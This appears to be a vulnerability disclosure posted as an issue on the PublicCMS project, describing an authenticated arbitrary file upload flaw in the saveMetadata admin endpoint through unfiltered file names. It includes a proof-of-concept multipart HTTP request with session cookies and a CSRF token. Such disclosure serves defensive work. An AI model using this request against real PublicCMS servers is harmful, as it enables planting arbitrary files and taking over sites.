PublicCMS background CmsWebFileAdminController#saveMetadata interface to upload any file

Vulnerability Product:PublicCMS
Vulnerability version:<=V4.0.202302.e
Vulnerability type:File Upload
Vulnerability Details：

1. Locate com.publiccms.controller.admin.cms.CmsWebFileAdminController#saveMetadata and find that this function directly splices the file name when uploading the file without any filtering.
![输入图片说明](https://foruda.gitee.com/images/1721282917923815927/7a5d0808_12230339.png "屏幕截图")
2. Following up with com.publiccms.common.tools.CmsFileUtils#createFile. you can see that after reading the name and content of the uploaded file, the file is created directly without any filtering. Therefore, an arbitrary file upload vulnerability exists.
![输入图片说明](https://foruda.gitee.com/images/1721282999532441930/f8b90fba_12230339.png "屏幕截图")
3. Construct POC, which can only be triggered after logging in. The values of cookie and _csrf need to be replaced.

```
POST /publiccms/admin/cmsTemplate/saveMetaData HTTP/1.1
Host: localhost:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Content-Type: multipart/form-data; boundary=---------------------------163966804931607146212670675591
Content-Length: 677
Cookie: JSESSIONID=425948E54042815447E9C009BC1046E9; PUBLICCMS_ADMIN=1_e7c0ca14-1532-47f2-8e99-e7f909df6d48; PHPSESSID=a5ujvrauv1etduiv0rt3mpjnsu; XDEBUG_SESSION=10891; PUBLICCMS_ANALYTICS_ID=793e18a9-5397-4782-bbee-78a12d32c06d

-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="_csrf"

e7c0ca14-1532-47f2-8e99-e7f909df6d48
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="path"

1.txt
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="encoding"

utf-8
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="content"

12331
-----------------------------163966804931607146212670675591
Content-Disposition: form-data; name="ajax"

1
-----------------------------163966804931607146212670675591--
```
![输入图片说明](https://foruda.gitee.com/images/1721283655585876780/72227e3d_12230339.png "屏幕截图")
![输入图片说明](https://foruda.gitee.com/images/1721283713904548054/28fadab8_12230339.png "屏幕截图")

sanluan/PublicCMS

内容风险标识

评论 (1)

sanluan/PublicCMS .gitee-modal { width: 500px !important; }

内容风险标识